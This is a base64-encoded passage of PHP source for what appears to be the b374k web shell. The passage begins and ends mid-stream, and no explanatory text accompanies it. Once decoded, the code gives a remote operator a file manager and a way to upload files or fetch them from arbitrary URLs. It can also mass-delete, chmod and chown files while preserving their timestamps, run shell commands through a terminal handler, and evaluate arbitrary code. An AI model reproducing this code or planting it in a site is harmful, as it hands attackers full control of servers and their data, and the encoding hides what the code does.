Q+Cjx0Ym9keT4gPHRyPjx0ZCBjb2xzcGFuPSc0Jz48dGV4dGFyZWEgaWQ9J2V2YWxJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnPjwvdGV4dGFyZWE+PC90ZD48L3RyPiA8dHIgaWQ9J2V2YWxBZGRpdGlvbmFsJz48dGQgY29sc3Bhbj0nNCc+IDxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZXZhbE9wdGlvbnMnIHZhbHVlPSdPcHRpb25zL1N3aXRjaGVzJyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2V2YWxfZ28nKTtcIj4gPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsQXJndW1lbnRzJyB2YWx1ZT0nQXJndW1lbnRzJyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2V2YWxfZ28nKTtcIj4gPC90ZD48L3RyPiA8dHI+IDx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4gPHNlbGVjdCBpZD0nZXZhbFR5cGUnPiA8L3NlbGVjdD4gPC90ZD4gPHRkIGNvbHNwYW49JzMnPiA8c3BhbiBpZD0nZXZhbFN1Ym1pdCcgc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImV2YWxfZ28oKTtcIj5ydW48L3NwYW4+IDwvdGQ+IDwvdHI+IDx0cj48dGQgY29sc3Bhbj0nNCc+PHByZSBpZD0nZXZhbE91dHB1dCc+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC9wcmU+PC90ZDwvdHI+CjwvdGJvZHk+CjwvdGFibGU+CiI7ICRyZXMgPSAiIjsKaWYoaXNzZXQoJHBbJ2NkJ10pKXsgJHBhdGggPSAkcFsnY2QnXTsgaWYodHJpbSgkcGF0aCk9PScnKSAkcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pOyAkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKTsgaWYoaXNfZmlsZSgkcGF0aCkpICRwYXRoID0gZGlybmFtZSgkcGF0aCk7IGlmKGlzX2RpcigkcGF0aCkpeyBjaGRpcigkcGF0aCk7ICRwYXRoID0gJHBhdGguRElSRUNUT1JZX1NFUEFSQVRPUjsgc2V0Y29va2llKCJjd2QiLCAkcGF0aCk7ICRyZXMgPSAkcGF0aC4ie1t8YjM3NGt8XX0iLmdldF9uYXYoJHBhdGgpLiJ7W3xiMzc0a3xdfSI7IGlmKGlzc2V0KCRwWydzaG93ZmlsZXMnXSkmJigkcFsnc2hvd2ZpbGVzJ109PSd0cnVlJykpeyAkcmVzIC49IHNob3dfYWxsX2ZpbGVzKCRwYXRoKTsgfSB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3ZpZXdGaWxlJ10pICYmIGlzc2V0KCRwWyd2aWV3VHlwZSddKSl7ICRwYXRoID0gdHJpbSgkcFsndmlld0ZpbGUnXSk7ICR0eXBlID0gdHJpbSgkcFsndmlld1R5cGUnXSk7ICRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOyBpZihpc19maWxlKCRwYXRoKSl7ICRyZXMgPSB2aWV3X2ZpbGUoJHBhdGgsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXApOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3JlbmFtZUZpbGUnXSkgJiYgaXNzZXQoJHBbJ3JlbmFtZUZpbGVUbyddKSl7ICRyZW5hbWVGaWxlID0gdHJpbSgkcFsncmVuYW1lRmlsZSddKTsgJHJlbmFtZUZpbGVUbyA9IHRyaW0oJHBbJ3JlbmFtZUZpbGVUbyddKTsgaWYoZmlsZV9leGlzdHMoJHJlbmFtZUZpbGUpKXsgaWYocmVuYW1lKCRyZW5hbWVGaWxlLCAkcmVuYW1lRmlsZVRvKSl7ICRyZXMgPSBkaXJuYW1lKCRyZW5hbWVGaWxlVG8pOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnbmV3Rm9sZGVyJ10pKXsgJG5ld0ZvbGRlciA9IHRyaW0oJHBbJ25ld0ZvbGRlciddKTsgaWYobWtkaXIoJG5ld0ZvbGRlcikpeyAkcmVzID0gZGlybmFtZSgkbmV3Rm9sZGVyKTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyduZXdGaWxlJ10pKXsgJG5ld0ZpbGUgPSB0cmltKCRwWyduZXdGaWxlJ10pOyBpZih0b3VjaCgkbmV3RmlsZSkpeyAkcmVzID0gZGlybmFtZSgkbmV3RmlsZSk7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZGVsZXRlJ10pKXsgJHBhdGggPSB0cmltKCRwWydkZWxldGUnXSk7ICRkaXJuYW1lID0gZGlybmFtZSgkcGF0aCk7IGlmKGlzX2ZpbGUoJHBhdGgpKXsgaWYodW5saW5rKCRwYXRoKSkgJHJlcyA9ICRkaXJuYW1lOyB9IGVsc2VpZihpc19kaXIoJHBhdGgpKXsgaWYocm1kaXJzKCRwYXRoKT4wKSAkcmVzID0gJGRpcm5hbWU7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgaWYoZmlsZV9leGlzdHMoJHBhdGgpKSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZWRpdFR5cGUnXSkmJmlzc2V0KCRwWydlZGl0RmlsZW5hbWUnXSkmJmlzc2V0KCRwWydlZGl0SW5wdXQnXSkmJmlzc2V0KCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKSl7ICRlZGl0RmlsZW5hbWUgPSB0cmltKCRwWydlZGl0RmlsZW5hbWUnXSk7ICRlZGl0SW5wdXQgPSB0cmltKCRwWydlZGl0SW5wdXQnXSk7ICRlZGl0VHlwZSA9IHRyaW0oJHBbJ2VkaXRUeXBlJ10pOyAkcHJlc2VydmVUaW1lc3RhbXAgPSB0cmltKCRwWydwcmVzZXJ2ZVRpbWVzdGFtcCddKTsgJHRpbWUgPSBmaWxlbXRpbWUoJGVkaXRGaWxlbmFtZSk7IGlmKCRlZGl0VHlwZT09J2hleCcpICRlZGl0SW5wdXQgPSBwYWNrKCJIKiIgLCBwcmVnX3JlcGxhY2UoIi9ccy8iLCIiLCAkZWRpdElucHV0KSk7IGlmKHdyaXRlX2ZpbGUoJGVkaXRGaWxlbmFtZSwgJGVkaXRJbnB1dCkpeyAkcmVzID0gJGVkaXRGaWxlbmFtZTsgaWYoJHByZXNlcnZlVGltZXN0YW1wPT0ndHJ1ZScpIHRvdWNoKCRlZGl0RmlsZW5hbWUsICR0aW1lKTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydmaW5kVHlwZSddKSl7ICRmaW5kVHlwZSA9IHRyaW0oJHBbJ2ZpbmRUeXBlJ10pOyAkZmluZFBhdGggPSB0cmltKCRwWydmaW5kUGF0aCddKTsgJGZpbmROYW1lID0gdHJpbSgkcFsnZmluZE5hbWUnXSk7ICRmaW5kTmFtZVJlZ2V4ID0gdHJpbSgkcFsnZmluZE5hbWVSZWdleCddKTsgJGZpbmROYW1lSW5zZW5zaXRpdmUgPSB0cmltKCRwWydmaW5kTmFtZUluc2Vuc2l0aXZlJ10pOyAkZmluZENvbnRlbnQgPSB0cmltKCRwWydmaW5kQ29udGVudCddKTsgJGZpbmRDb250ZW50UmVnZXggPSB0cmltKCRwWydmaW5kQ29udGVudFJlZ2V4J10pOyAkZmluZENvbnRlbnRJbnNlbnNpdGl2ZSA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50SW5zZW5zaXRpdmUnXSk7ICRmaW5kUmVhZGFibGUgPSB0cmltKCRwWydmaW5kUmVhZGFibGUnXSk7ICRmaW5kV3JpdGFibGUgPSB0cmltKCRwWydmaW5kV3JpdGFibGUnXSk7ICRmaW5kRXhlY3V0YWJsZSA9IHRyaW0oJHBbJ2ZpbmRFeGVjdXRhYmxlJ10pOyAkY2FuZGlkYXRlID0gZ2V0X2FsbF9maWxlcygkZmluZFBhdGgpOyBpZigkZmluZFR5cGU9PSdmaWxlJykgJGNhbmRpZGF0ZSA9IGFycmF5X2ZpbHRlcigkY2FuZGlkYXRlLCAiaXNfZmlsZSIpOyBlbHNlaWYoJGZpbmRUeXBlPT0nZm9sZGVyJykgJGNhbmRpZGF0ZSA9IGFycmF5X2ZpbHRlcigkY2FuZGlkYXRlLCAiaXNfZGlyIik7IGVsc2UgJHJlcyA9ICJlcnJvciI7IGZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7IGlmKCgkZmluZFR5cGU9PSJmaWxlIil8fCgkZmluZFR5cGU9PSJmb2xkZXIiKSl7IGlmKCFlbXB0eSgkZmluZE5hbWUpKXsgaWYoJGZpbmROYW1lUmVnZXg9PSJ0cnVlIil7ICRjYXNlID0gKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpPyAiaSI6IiI7IGlmKCFwcmVnX21hdGNoKCIvIi4kZmluZE5hbWUuIi8iLiRjYXNlLCBiYXNlbmFtZSgkaykpKXsgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSB9IGVsc2V7ICRjaGVjayA9IGZhbHNlOyBpZigkZmluZE5hbWVJbnNlbnNpdGl2ZT09InRydWUiKXsgJGNoZWNrID0gc3RycG9zKHN0cnRvbG93ZXIoYmFzZW5hbWUoJGspKSwgc3RydG9sb3dlcigkZmluZE5hbWUpKT09PWZhbHNlOyB9IGVsc2V7ICRjaGVjayA9IHN0cnBvcyhiYXNlbmFtZSgkayksICRmaW5kTmFtZSk9PT1mYWxzZTsgfSBpZigkY2hlY2speyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gfSB9IGlmKCRmaW5kVHlwZT09ImZpbGUiKXsgaWYoIWVtcHR5KCRmaW5kQ29udGVudCkpeyAkY29udGVudCA9IHJlYWRfZmlsZSgkayk7IGlmKCRmaW5kQ29udGVudFJlZ2V4PT0idHJ1ZSIpeyAkY2FzZSA9ICgkZmluZENvbnRlbnRJbnNlbnNpdGl2ZT09InRydWUiKT8gImkiOiIiOyBpZighcHJlZ19tYXRjaCgiLyIuJGZpbmRDb250ZW50LiIvIi4kY2FzZSwgJGNvbnRlbnQpKXsgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSB9IGVsc2V7ICRjaGVjayA9IGZhbHNlOyBpZigkZmluZENvbnRlbnRJbnNlbnNpdGl2ZT09InRydWUiKXsgJGNoZWNrID0gc3RycG9zKHN0cnRvbG93ZXIoJGNvbnRlbnQpLCBzdHJ0b2xvd2VyKCRmaW5kQ29udGVudCkpPT09ZmFsc2U7IH0gZWxzZXsgJGNoZWNrID0gc3RycG9zKCRjb250ZW50LCAkZmluZENvbnRlbnQpPT09ZmFsc2U7IH0gaWYoJGNoZWNrKXsgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSB9IH0gfSB9IGZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7IGlmKCRmaW5kUmVhZGFibGU9PSJ0cnVlIil7IGlmKCFpc19yZWFkYWJsZSgkaykpICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7IH0gaWYoJGZpbmRXcml0YWJsZT09InRydWUiKXsgaWYoIWlzX3dyaXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSBpZigkZmluZEV4ZWN1dGFibGU9PSJ0cnVlIil7IGlmKCFpc19leGVjdXRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSB9IGlmKGNvdW50KCRjYW5kaWRhdGUpPjApeyAkcmVzID0gIiI7IGZvcmVhY2goJGNhbmRpZGF0ZSBhcyAkayl7ICRyZXMgLj0gIjxwPjxzcGFuIGNsYXNzPSdzdHJvbmcnPiZndDs8L3NwYW4+Jm5ic3A7PGEgZGF0YS1wYXRoPSciLmh0bWxfc2FmZSgkaykuIicgb25jbGljaz0ndmlld19lbnRyeSh0aGlzKTsnPiIuaHRtbF9zYWZlKCRrKS4iPC9hPjwvcD4iOyB9IH0gZWxzZSAkcmVzID0gIiI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ3VsVHlwZSddKSl7ICR1bFNhdmVUbyA9IHRyaW0oJHBbJ3VsU2F2ZVRvJ10pOyAkdWxGaWxlbmFtZSA9IHRyaW0oJHBbJ3VsRmlsZW5hbWUnXSk7IGlmKCRwWyd1bFR5cGUnXT09J2NvbXAnKXsgJHVsRmlsZSA9ICRfRklMRVNbJ3VsRmlsZSddOyBpZihlbXB0eSgkdWxGaWxlbmFtZSkpICR1bEZpbGVuYW1lID0gJHVsRmlsZVsnbmFtZSddOyBpZihpc191cGxvYWRlZF9maWxlKCR1bEZpbGVbJ3RtcF9uYW1lJ10pKXsgaWYoIWlzX2RpcigkdWxTYXZlVG8pKSBta2RpcigkdWxTYXZlVG8pOyAkbmV3ZmlsZSA9IHJlYWxwYXRoKCR1bFNhdmVUbykuRElSRUNUT1JZX1NFUEFSQVRPUi4kdWxGaWxlbmFtZTsgaWYobW92ZV91cGxvYWRlZF9maWxlKCR1bEZpbGVbJ3RtcF9uYW1lJ10sICRuZXdmaWxlKSl7ICRyZXMgPSAiPHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRuZXdmaWxlKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJG5ld2ZpbGUpLiI8L2E+Jm5ic3A7KCAxMDAlICkiOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlaWYoJHBbJ3VsVHlwZSddPT0ndXJsJyl7ICR1bEZpbGUgPSB0cmltKCRwWyd1bEZpbGUnXSk7IGlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSBiYXNlbmFtZSgkdWxGaWxlKTsgaWYoIWlzX2RpcigkdWxTYXZlVG8pKSBta2RpcigkdWxTYXZlVG8pOyAkbmV3ZmlsZSA9IHJlYWxwYXRoKCR1bFNhdmVUbykuRElSRUNUT1JZX1NFUEFSQVRPUi4kdWxGaWxlbmFtZTsgaWYoZG93bmxvYWQoJHVsRmlsZSwgJG5ld2ZpbGUpKXsgJHJlcyA9ICI8c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJG5ld2ZpbGUpLiInIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7Jz4iLmh0bWxfc2FmZSgkbmV3ZmlsZSkuIjwvYT4mbmJzcDsoIDEwMCUgKSI7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkb3dubG9hZCddKSl7ICRmaWxlID0gdHJpbSgkcFsnZG93bmxvYWQnXSk7IGlmKGlzX2ZpbGUoJGZpbGUpKXsgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOyBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRmaWxlKSk7IGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUiKTsgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7IGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7ICRoYW5kbGVyID0gZm9wZW4oJGZpbGUsInJiIik7IHdoaWxlKCFmZW9mKCRoYW5kbGVyKSl7IHByaW50KGZyZWFkKCRoYW5kbGVyLCAxMDI0KjgpKTsgQG9iX2ZsdXNoKCk7IEBmbHVzaCgpOyB9IGZjbG9zZSgkaGFuZGxlcik7IGRpZSgpOyB9Cn0KZWxzZWlmKGlzc2V0KCRwWydtdWx0aW1lZGlhJ10pKXsgJGZpbGUgPSB0cmltKCRwWydtdWx0aW1lZGlhJ10pOyAkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7ICRtaW1lID0gIiI7ICRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOyBpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpeyAkZmlsZV9leHQgPSB0cmltKHN1YnN0cigkZmlsZSwgJGZpbGVfZXh0X3BvcyksIi4iKTsgaWYocHJlZ19tYXRjaCgiLyhbXlxzXSspXCAuKlxiIi4kZmlsZV9leHQuIlxiLiovaSIsICRtaW1lX2xpc3QsICRyZXMpKXsgJG1pbWUgPSAkcmVzWzFdOyB9IH0gaWYoaXNfZmlsZSgkZmlsZSkpeyBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kbWltZSk7IGhlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Jyk7IGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGZpbGUpKTsgZWNobyAiZGF0YToiLiRtaW1lLiI7YmFzZTY0LCIuYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKTsgZGllKCk7IH0KfQplbHNlaWYoaXNzZXQoJHBbJ21hc3NUeXBlJ10pJiZpc3NldCgkcFsnbWFzc0J1ZmZlciddKSYmaXNzZXQoJHBbJ21hc3NQYXRoJ10pJiZpc3NldCgkcFsnbWFzc1ZhbHVlJ10pKXsgJG1hc3NUeXBlID0gdHJpbSgkcFsnbWFzc1R5cGUnXSk7ICRtYXNzQnVmZmVyID0gdHJpbSgkcFsnbWFzc0J1ZmZlciddKTsgJG1hc3NQYXRoID0gcmVhbHBhdGgoJHBbJ21hc3NQYXRoJ10pLkRJUkVDVE9SWV9TRVBBUkFUT1I7ICRtYXNzVmFsdWUgPSB0cmltKCRwWydtYXNzVmFsdWUnXSk7ICRjb3VudGVyID0gMDsgJG1hc3NCdWZmZXJBcnIgPSBleHBsb2RlKCJcbiIsICRtYXNzQnVmZmVyKTsgaWYoKCRtYXNzVHlwZT09J3RhcicpfHwoJG1hc3NUeXBlPT0ndGFyZ3onKXx8KCRtYXNzVHlwZT09J3ppcCcpKXsgaWYoY29tcHJlc3MoJG1hc3NUeXBlLCAkbWFzc1ZhbHVlLCAkbWFzc0J1ZmZlckFycikpeyAkY291bnRlcisrOyByZXR1cm4gJGNvdW50ZXI7IH0gfSBlbHNleyBmb3JlYWNoKCRtYXNzQnVmZmVyQXJyIGFzICRrKXsgJHBhdGggPSB0cmltKCRrKTsgaWYoZmlsZV9leGlzdHMoJHBhdGgpKXsgJHByZXNlcnZlVGltZXN0YW1wID0gZmlsZW10aW1lKCRwYXRoKTsgaWYoJG1hc3NUeXBlPT0nZGVsZXRlJyl7IGlmKGlzX2ZpbGUoJHBhdGgpKXsgaWYodW5saW5rKCRwYXRoKSkgJGNvdW50ZXIrKzsgfSBlbHNlaWYoaXNfZGlyKCRwYXRoKSl7IGlmKHJtZGlycygkcGF0aCk+MCkgJGNvdW50ZXIrKzsgfSB9IGVsc2VpZigkbWFzc1R5cGU9PSdjdXQnKXsgJGRlc3QgPSAkbWFzc1BhdGguYmFzZW5hbWUoJHBhdGgpOyBpZihyZW5hbWUoJHBhdGgsICRkZXN0KSl7ICRjb3VudGVyKys7IHRvdWNoKCRkZXN0LCAkcHJlc2VydmVUaW1lc3RhbXApOyB9IH0gZWxzZWlmKCRtYXNzVHlwZT09J2NvcHknKXsgJGRlc3QgPSAkbWFzc1BhdGguYmFzZW5hbWUoJHBhdGgpOyBpZihpc19kaXIoJHBhdGgpKXsgaWYoY29weXMoJHBhdGgsICRkZXN0KT4wKSAkY291bnRlcisrOyB9IGVsc2VpZihpc19maWxlKCRwYXRoKSl7IGlmKGNvcHkoJHBhdGgsICRkZXN0KSkgJGNvdW50ZXIrKzsgfSB9IGVsc2VpZigoJG1hc3NUeXBlPT0ndW50YXInKXx8KCRtYXNzVHlwZT09J3VudGFyZ3onKXx8KCRtYXNzVHlwZT09J3VuemlwJykpeyBpZihkZWNvbXByZXNzKCRtYXNzVHlwZSwgJHBhdGgsICRtYXNzVmFsdWUpKXsgJGNvdW50ZXIrKzsgcmV0dXJuICRjb3VudGVyOyB9IH0gZWxzZWlmKCFlbXB0eSgkbWFzc1ZhbHVlKSl7IGlmKCRtYXNzVHlwZT09J2NobW9kJyl7IGlmKGNobW9kKCRwYXRoLCBvY3RkZWMoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOyB9IGVsc2VpZigkbWFzc1R5cGU9PSdjaG93bicpeyBpZihjaG93bigkcGF0aCwgJG1hc3NWYWx1ZSkpICRjb3VudGVyKys7IH0gZWxzZWlmKCRtYXNzVHlwZT09J3RvdWNoJyl7IGlmKHRvdWNoKCRwYXRoLCBzdHJ0b3RpbWUoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOyB9IH0gfSB9IH0gaWYoJGNvdW50ZXI+MCkgb3V0cHV0KCRjb3VudGVyKTsgb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsndmlld0ZpbGVvckZvbGRlciddKSl7ICRlbnRyeSA9ICRwWyd2aWV3RmlsZW9yRm9sZGVyJ107IGlmKGlzX2ZpbGUoJGVudHJ5KSkgb3V0cHV0KCdmaWxlJyk7IGVsc2VpZihpc19kaXIoJGVudHJ5KSkgb3V0cHV0KCdmb2xkZXInKTsgb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsndGVybWluYWxJbnB1dCddKSl7IG91dHB1dChodG1sX3NhZmUoZXhlY3V0ZSgkcFsndGVybWluYWxJbnB1dCddKSkpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbElucHV0J10pICYmIGlzc2V0KCRwWydldmFsVHlwZSddKSl7ICRldmFsSW5wdXQgPSAkcFsnZXZhbElucHV0J107ICRldmFsT3B0aW9ucyA9IChpc3NldCgkcFsnZXZhbE9wdGlvbnMnXSkpPyAkcFsnZXZhbE9wdGlvbnMnXToiIjsgJGV2YWxBcmd1bWVudHMgPSAoaXNzZXQoJHBbJ2V2YWxBcmd1bWVudHMnXSkpPyAkcFsnZXZhbEFyZ3VtZW50cyddOiIiOyAkZXZhbFR5cGUgPSAkcFsnZXZhbFR5cGUnXTsgZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IgfCBFX1dBUk5JTkcgfCBFX1BBUlNFIHwgRV9OT1RJQ0UpOyBAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7IEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsgQGluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCcxJyk7ICRyZXMgPSBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxJbnB1dCwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyk7IGlmKCRyZXM9PT1mYWxzZSkgJHJlcyA9PSAiZXJyb3IiOyBvdXRwdXQoaHRtbF9zYWZlKCRyZXMpKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2V2YWxHZXRTdXBwb3J0ZWQnXSkpeyAkcmVzID0gZXZhbF9nZXRfc3VwcG9ydGVkKCk7IG91dHB1dCgkcmVzKTsKfQo/Pjw/cGhwCiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWydpZCddID0gImNvbnZlcnQiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsndGl0bGUnXSA9ICJDb252ZXJ0IjsKJEdMT0JBTFNbJ21vZHVsZSddWydjb252ZXJ0J11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjZGVjb2RlUmVzdWx0JykuY2hpbGRyZW4oKS5sZW5ndGg9PTEpKSAkKCcjZGVjb2RlU3RyJykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4gPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbnZlcnQ8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+IDx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7bWluLWhlaWdodDoxNDBweDsnIGlkPSdkZWNvZGVTdHInPjwvdGV4dGFyZWE+PC90ZD48L3RyPiA8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlY29kZV9nbygpOyc+Y29udmVydDwvc3Bhbj48L3RkPjwvdHI+CjwvdGJvZHk+Cjx0Zm9vdCBpZD0nZGVjb2RlUmVzdWx0Jz48dHI+PHRkIGNvbHNwYW49JzInPllvdSBjYW4gYWxzbyBwcmVzcyBjdHJsK2VudGVyIHRvIHN1Ym1pdDwvdGQ+PC90cj48L3Rmb290Pgo8L3RhYmxlPiI7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29kZScpKXsgZnVuY3Rpb24gZGVjb2RlKCRzdHIpeyAkcmVzID0gIiI7ICRsZW5ndGggPSAoaW50KSBzdHJsZW4oJHN0cik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoIm1kNSIsIG1kNSgkc3RyKSwgImlucHV0Iik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoInNoYTEiLCBzaGExKCRzdHIpLCAiaW5wdXQiKTsgJHJlcyAuPSBkZWNvZGVfbGluZSgiYmFzZTY0IGVuY29kZSIsIGJhc2U2NF9lbmNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOyAkcmVzIC49IGRlY29kZV9saW5lKCJiYXNlNjQgZGVjb2RlIiwgYmFzZTY0X2RlY29kZSgkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoImhleCB0byBzdHJpbmciLCBAcGFjaygiSCoiICwgJHN0ciksICJ0ZXh0YXJlYSIpOyAkcmVzIC49IGRlY29kZV9saW5lKCJzdHJpbmcgdG8gaGV4IiwgYmluMmhleCgkc3RyKSwgInRleHRhcmVhIik7ICRhc2NpaSA9ICIiOyBmb3IoJGk9MDsgJGk8JGxlbmd0aDsgJGkrKyl7ICRhc2NpaSAuPSBvcmQoc3Vic3RyKCRzdHIsJGksMSkpLiIgIjsgfSAkcmVzIC49IGRlY29kZV9saW5lKCJhc2NpaSBjaGFyIiwgdHJpbSgkYXNjaWkpLCAidGV4dGFyZWEiKTsgJHJlcyAuPSBkZWNvZGVfbGluZSgicmV2ZXJzZWQiLCBzdHJyZXYoJHN0ciksICJ0ZXh0YXJlYSIpOyAkcmVzIC49IGRlY29kZV9saW5lKCJsb3dlcmNhc2UiLCBzdHJ0b2xvd2VyKCRzdHIpLCAidGV4dGFyZWEiKTsgJHJlcyAuPSBkZWNvZGVfbGluZSgidXBwZXJjYXNlIiwgc3RydG91cHBlcigkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoInVybGVuY29kZSIsIHVybGVuY29kZSgkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoInVybGRlY29kZSIsIHVybGRlY29kZSgkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoInJhd3VybGVuY29kZSIsIHJhd3VybGVuY29kZSgkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoInJhd3VybGRlY29kZSIsIHJhd3VybGRlY29kZSgkc3RyKSwgInRleHRhcmVhIik7ICRyZXMgLj0gZGVjb2RlX2xpbmUoImh0bWxlbnRpdGllcyIsIGh0bWxfc2FmZSgkc3RyKSwgInRleHRhcmVhIik7IGlmKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9hbGdvcycpKXs